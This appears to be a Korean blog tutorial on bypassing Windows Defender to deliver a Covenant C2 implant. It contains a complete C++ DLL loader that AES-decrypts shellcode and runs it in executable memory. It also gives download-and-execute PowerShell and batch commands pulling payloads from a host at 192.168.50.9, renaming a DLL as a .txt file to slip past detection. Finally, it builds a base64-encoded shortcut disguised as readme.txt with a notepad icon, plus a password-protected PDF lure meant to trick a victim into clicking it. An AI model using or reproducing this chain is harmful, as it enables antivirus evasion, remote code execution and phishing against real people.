How to bypass Windows Defender (Covenant C2)
How to bypass Windows Defender with Custom C++ .DLL Payload Loader (Covenant C2)
1. Covenant 설치
covenant를 git clone 하자.
git clone --recurse-submodules https://github.com/cobbr/Covenantcd Covenant/Covenantdocker 를 설치하자.
apt-get update
apt install docker.io그림과 같이 docker-compose 도 설치하자.
docker build -t covenant .docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /root/Covenant/Covenant/Data:/app/Data covenant 이후에 다시 시작할때는 아래 명령어를 이용하자.
docker start covenant -aiai: 옵션으로, 컨테이너를 상호 작용 모드로 실행하도록 지시합니다. 상호 작용 모드는 컨테이너와 터미널 간의 상호 작용을 허용합니다. 이 옵션을 사용하지 않으면 컨테이너가 백그라운드에서 실행됩니다.
2. shell code loader
아래 링크에서 enc.cpp 코드를 복사해서 칼리에 새로운 파일을 만들자.
nano enc.cpp아래 주소에서 AES 암호화를 수행하는 python 스크립트를 클립보드에 복사하자.
https://github.com/TheD1rkMtr/Shellcode-Hide/tree/main/3%20-%20Encrypting/1%20-%20AES
aes.py 파일을 만들자.
nano aes.py아래 그림과 같이 칼리 파이어폭스에서 Covenant를 실행하고 Generate > Download 클릭하면 shell code 파일이 만들어 진다.
아래와 같이 실행해서 클립보드에 암호화된 shell code 와 AES 키를 복사하자.
python aes.py GruntHTTP.bin | xclip -selection clipboard에러가 발생하면 다음을 설치하자.
pip install pycryptodome코드를 dll 로 만들자.
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI DllRegisterServer(void) {최종 코드이다.
#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment(lib, "ntdll")
void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;
if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
printf("Failed in CryptAcquire");
return;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
printf("Failed in Cr");
return;
}
if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
return;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return;
}
if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
return;
}
CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
extern "C" {
__declspec(dllexport) BOOL WINAPI DllRegisterServer(void) {
// AES shell code 는 생략 되었다.
unsigned char AESkey[] = { ... };
unsigned char AESshellcode[] = { ... };
DWORD payload_length = sizeof(AESshellcode);
DecryptAES((char*)AESshellcode, payload_length, AESkey, sizeof(AESkey));
LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(AESshellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!alloc_mem) {
return -1;
}
//MoveMemory(alloc_mem, AESshellcode, sizeof(AESshellcode));
RtlMoveMemory(alloc_mem, AESshellcode, sizeof(AESshellcode));
DWORD oldProtect;
if (!VirtualProtect(alloc_mem, sizeof(AESshellcode), PAGE_EXECUTE_READ, &oldProtect)) {
return -2;
}
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
if (!tHandle) {
return -3;
}
((void(*)())alloc_mem)();
return 0;
}
}컴파일 하자.
x86_64-w64-mingw32-g++ --static --shared enc.cpp -o d.dll -fpermissive3. shell code loader 실행조건
covenant C2 는 .net 기반이어서 shell code loader를 실행하려면 .net 3.5 가 설치되야 한다. 아래 처럼 체크 해서 설정하자.
4. 바로 가기 파일
아래 그림처럼 바로가기를 만들자.
바로가기 파일 속성 > 대상 에서 아래와 같은 방식으로 dll 을 바로 전송해서 실행하면 windows defender 가 감지한다.
C:\Windows\System32\cmd.exe /c powershell.exe wget http://192.168.50.9:81/d.dll -OutFile %TMP%\d.dll && rundll32 %TMP%\d.dll, DllRegisterServer그래서 아래와 같은 방식으로 batch file 을 다운로드 해서 실행하면 windows defender 를 우회한다.
C:\Windows\System32\cmd.exe /c powershell.exe wget http://192.168.50.9:81/o.bat -OutFile %TMP%\o.bat && %TMP%\o.bat명령줄을 base64로 인코딩 하고 아이콘 만드는 과정을 power shell 로 처리하자.
$command = 'wget http://192.168.50.9:82/p.bat -OutFile $env:TMP\p.bat;& $env:TMP\p'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("C:\test\readme.txt.lnk")
$link.targetpath = "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"
$link.arguments = "-enc $($encodedCommand)"
$link.iconlocation = "%SystemRoot%\System32\notepad.exe"
$link.windowstyle = "7"
$link.save()참고로 $encodedCommand 내용을 다시 디코딩 하려면 아래 코드를 이용하자.
$DECODED = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encodedCommand))
Write-Output $DECODED칼리에서 아래와 같이 batch file 을 만들자.
@echo off
powershell.exe wget http://192.168.50.9:81/d.dll -OutFile %TMP%\d.dll
rundll32 %TMP%\d.dll, DllRegisterServerdll 파일을 받아오는 것도 defender 에서 감지하는것 같아
다음과 같이 다시 수정해 보았다.
@echo off
powershell.exe wget http://192.168.50.9:82/h.txt -OutFile %TMP%\h.txt
ren %TMP%\h.txt h.dll
rundll32 %TMP%\h.dll, Go31위와같이 txt 파일을 이용하려면 칼리에서 컴파일후 파일이름을 h.txt로 변경해야 한다.
위에서 %TMP%는 환경변수로 temp 디렉토리를 가리킨다.
참고로 환경 변수는 다음과 같이 확인 가능하다.
최종적으로 readme.txt 파일을 클릭하면 covenant call back 이 windows defender 를 우회해서 실행된다.
readme.txt 를 종료해도 rundll32.exe 만 실행 중이면 d.dll 은 계속 실행중이다.
구글에서 “free sample pdf download”를 검색해서 pdf 파일을 다운로드 하자.
구글에서 “password protect pdf”를 검색해서 adobe 사이트로 가서 pdf에 password 설정을 하자.
이제 readme.txt 와 sample.pdf 를 zip 파일로 만들어서 칼리로 전송하고 칼리 에서 python web server를 실행하자.
python -m http.server 81 &이제 target 에서 브라우저를 실행하고 http://192.168.50.9:81 로 들어가서 zip 파일을 다운로드 하자.
zip 파일을 열고 pdf를 실행하면 패스워드가 걸려 있고 피해자는 패스워드 때문에 readme.txt 파일을 실행하게 된다.
